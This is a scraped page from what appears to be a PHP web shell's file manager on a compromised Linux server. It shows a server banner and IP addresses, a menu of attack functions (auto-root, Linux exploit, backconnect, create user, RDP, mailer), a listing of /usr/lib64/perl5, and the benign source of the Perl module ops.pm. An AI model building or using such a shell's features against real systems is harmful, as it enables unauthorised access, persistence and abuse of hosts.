Linux hermes.alfaserver.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Apache
: 5.189.182.135 | : 216.73.216.28
36 Domain
8.4.14
begrecagr
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib64 /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
B
[ DIR ]
drwxr-xr-x
CORE
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Hash
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
PerlIO
[ DIR ]
drwxr-xr-x
Sys
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
asm
[ DIR ]
drwxr-xr-x
asm-generic
[ DIR ]
drwxr-xr-x
auto
[ DIR ]
drwxr-xr-x
bits
[ DIR ]
drwxr-xr-x
gnu
[ DIR ]
drwxr-xr-x
linux
[ DIR ]
drwxr-xr-x
sys
[ DIR ]
drwxr-xr-x
vendor_perl
[ DIR ]
drwxr-xr-x
B.pm
28.78
KB
-rw-r--r--
Config.pm
3.12
KB
-rw-r--r--
Config.pod
248.92
KB
-rw-r--r--
Config_git.pl
409
B
-rw-r--r--
Config_heavy.pl
57.1
KB
-rw-r--r--
DynaLoader.pm
24.66
KB
-rw-r--r--
Errno.pm
6.7
KB
-rw-r--r--
Fcntl.pm
3.95
KB
-rw-r--r--
GDBM_File.pm
2.03
KB
-rw-r--r--
IO.pm
1.42
KB
-rw-r--r--
NDBM_File.pm
3.01
KB
-rw-r--r--
O.pm
4.19
KB
-rw-r--r--
ODBM_File.pm
2.9
KB
-rw-r--r--
Opcode.pm
15.85
KB
-rw-r--r--
POSIX.pm
19.87
KB
-rw-r--r--
POSIX.pod
78.81
KB
-rw-r--r--
SDBM_File.pm
3.72
KB
-rw-r--r--
_h2ph_pre.ph
30.85
KB
-rw-r--r--
attributes.pm
15.97
KB
-rw-r--r--
features-time64.ph
811
B
-rw-r--r--
features.ph
14.93
KB
-rw-r--r--
lib.pm
5.99
KB
-rw-r--r--
mro.pm
9.66
KB
-rw-r--r--
ops.pm
997
B
-rw-r--r--
perllocal.pod
3.16
KB
-rw-r--r--
re.pm
24.8
KB
-rw-r--r--
stdc-predef.ph
840
B
-rw-r--r--
syscall.ph
86
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ops.pm
package ops; our $VERSION = '1.02'; use Opcode qw(opmask_add opset invert_opset); sub import { shift; # Not that unimport is the preferred form since import's don't # accumulate well owing to the 'only ever add opmask' rule. # E.g., perl -Mops=:set1 -Mops=:setb is unlikely to do as expected. opmask_add(invert_opset opset(@_)) if @_; } sub unimport { shift; opmask_add(opset(@_)) if @_; } 1; __END__ =head1 NAME ops - Perl pragma to restrict unsafe operations when compiling =head1 SYNOPSIS perl -Mops=:default ... # only allow reasonably safe operations perl -M-ops=system ... # disable the 'system' opcode =head1 DESCRIPTION Since the C<ops> pragma currently has an irreversible global effect, it is only of significant practical use with the C<-M> option on the command line. See the L<Opcode> module for information about opcodes, optags, opmasks and important information about safety. =head1 SEE ALSO L<Opcode>, L<Safe>, L<perlrun> =cut
Close